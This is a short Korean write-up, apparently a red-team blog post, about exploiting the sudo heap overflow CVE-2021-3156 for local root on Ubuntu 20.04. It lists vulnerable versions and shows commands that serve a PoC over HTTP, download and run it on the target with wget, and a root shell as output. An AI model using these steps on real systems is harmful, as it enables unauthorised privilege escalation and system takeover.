👑 CVE-2021-3156 (Baron Samedit) — sudo의 힙 오버플로를 통한 권한 상승

📅 날짜: 2025-06-08
✍️ 작성자: @TopskiyPavelQwertyGang 🧠 보안 연구원 | 레드팀 열성 팬

---

🧠 CVE 개요

• CVE-ID: CVE-2021-3156
• 유형: 힙 기반 버퍼 오버플로
• 구성 요소: sudoedit (sudo)
• 접근 수준: 로컬
• 목표: root 권한 획득

---

🧠 설명

sudoedit의 힙 오버플로는 로컬 사용자가 미리 준비된 매개변수로 sudoedit 명령을 실행할 때 root 접근 권한을 얻을 수 있게 합니다.

익스플로잇은 sudo < 1.9.5p2 버전에서 활성화되며, 널리 사용되는 Ubuntu/Debian/CentOS 이미지를 포함합니다.
ASLR이 활성화된 경우에도 취약점은 여전히 익스플로잇 가능합니다.

---

🐾 익스플로잇 조건

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (취약함)
ASLR   : 2 (활성화됨)

---

🧪 환경 준비

1. glibc 및 sudo 버전을 확인했습니다:

ldd --version
sudo --version

2. 내장 HTTP 서버를 통해 다른 머신에서 PoC 스크립트를 전송했습니다:

python3 -m http.server 80

3. 대상 머신에서 PoC를 다운로드하고 실행합니다:

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

---

🚀 PoC 성공적 익스플로잇

$ python3 exploit_nss.py
# whoami
root

---

🧾 결론

CVE-2021-3156의 익스플로잇은 glibc ≥ 2.26이고 sudo가 취약한 버전이라면 ASLR이 활성화된 경우에도 여전히 가능합니다.
가장 안정적인 것은 exploit_nss.py 익스플로잇으로, NSS 구성이 올바르면 첫 시도에 성공했습니다.

🧨 시스템이 장악되었습니다.

---